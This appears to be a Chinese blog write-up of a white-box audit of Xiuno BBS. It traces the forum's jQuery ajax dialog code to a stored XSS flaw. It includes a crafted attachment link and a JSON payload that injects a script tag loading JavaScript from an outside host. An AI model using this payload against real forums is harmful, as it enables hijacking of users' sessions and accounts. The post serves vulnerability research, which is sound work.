前言

刷微博的时候看到到seay发个了霸气外泄的cms,官方介绍
Xiuno 这个名字来源于圣斗士星矢白羊座的黄金圣斗士修罗,他的攻击速度和战斗力是十二宫最强的,他是速度和力量的化身;在佛教里面,修罗为六道之一,处于人道和天道之间的一道,半人半神,性情刚烈,好战斗。我们取其寓意,希望XIUNO变得越来越强,越来越快。在 Xiuno BBS 的第一行代码开始(一共大约有4W多行代码,历时多年积累)对性能的追求就到了苛刻,完美,歇斯底里,神经质,作者本人经常因为权衡一个方案而陷入冥想状态,在千万级数据下,最终的程序执行速度基本控制在0.00x秒,是作者本人比较满意的。

架构分析

果断down来膜拜下,代码确实写的不错.算是个轻量级高效率的bbs,分析了大概的mvc架构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
├─admin                //后台目录
│ ├─conf
│ ├─control //后台action 文件
│ └─view
├─conf //配置
├─control //前台action
├─model //系统 model
....... //前台模板
├─view
│ ├─image
│ │ └─filetype
│ └─js
│ ├─clipimg
│ └─editor
└─xiunophp // 核心框架

Xxoo一番之后未果,木有什么发现,发个帖子,富文本编辑器,上传个附件,其验证文件 model/attach.class.php,会重命名文件名白名单验证机制,不过html txt 可以上传……..
继续来看富文本编辑器的过滤
一路追踪到 xiunophp\lib\xn_html_safe.class.php
这种过滤基本上很安全了 过滤了各种标签事件,JavaScript 关键词标签.

Xss 白盒分析

既然不是 ubb论坛标签,咱们就可以利用各种猥琐的html标签,对于这种基于jquery的前端来说 ,各种ajax 等事件函数是大大的有.(分析需要一定的javascript 和 jquery 基础)

例如:我们来看一段帖子附件的代码

作用就是点击弹出一个下载对话框,对话框里面的内容从远程ajax获取内容,先去javascript文件中找,这个超级链接的点击事件,位于模板文件 view/footer.html

input.ajaxdialog').die('click').live('click', ajaxdialog_click); ```
1
2
3
4
5
6
7
8
9
10
11
给每个class=”ajaxdialog”  a 标记绑定点击事件,在common.js 找到ajaxdialog_click 函数
代码片段
``` js
function ajaxdialog_click(e) {
var e = e ? e : window.event;// 兼容 event
var url = $(this).attr('href'); //读取到 a标记的 herf 属性
............
var recall = this.recall ? this.recall : null;
ajaxdialog_request(url, recall, options); //远程获取内容
return false;
}

继续跟进 ajaxdialog_request

1
2
3
4
5
6
7
8
function ajaxdialog_request(url, recall, options) {
.......
$.get(url, {ajax: 1}, function(s) { // jquery ajax get
var json = json_decode(s);
..........

jdialog.dialog(options); //调用 jquery 对话框插件,传入各种属性
}

json_decode函数用来解析json的数据,相当于eval,即会执行ajax超级链接的 herf标签 的值,如果 herf的值可控,就可以执行任意html代码
Ok 在富文本编辑器源码模式可以构造个超链接出来

1
[![](http://w/1.jpg)毛片.rmvb](http://w/1.html)

html 放入json编码的数据,并插入script 标签 ,点击附件下载的效果

1
{"servererror":"","status":1,"message":{"width":"400","height":300,"pos":"center","title":"\u9644\u4..............\n\n<script type=\"text\/javascript\" src=\"http:\/\/w/1.js\"><\/script>\n"}}

,点击附件下载的效果

打完收工

附件下载

http://pan.baidu.com/share/link?shareid=416830&uk=587894688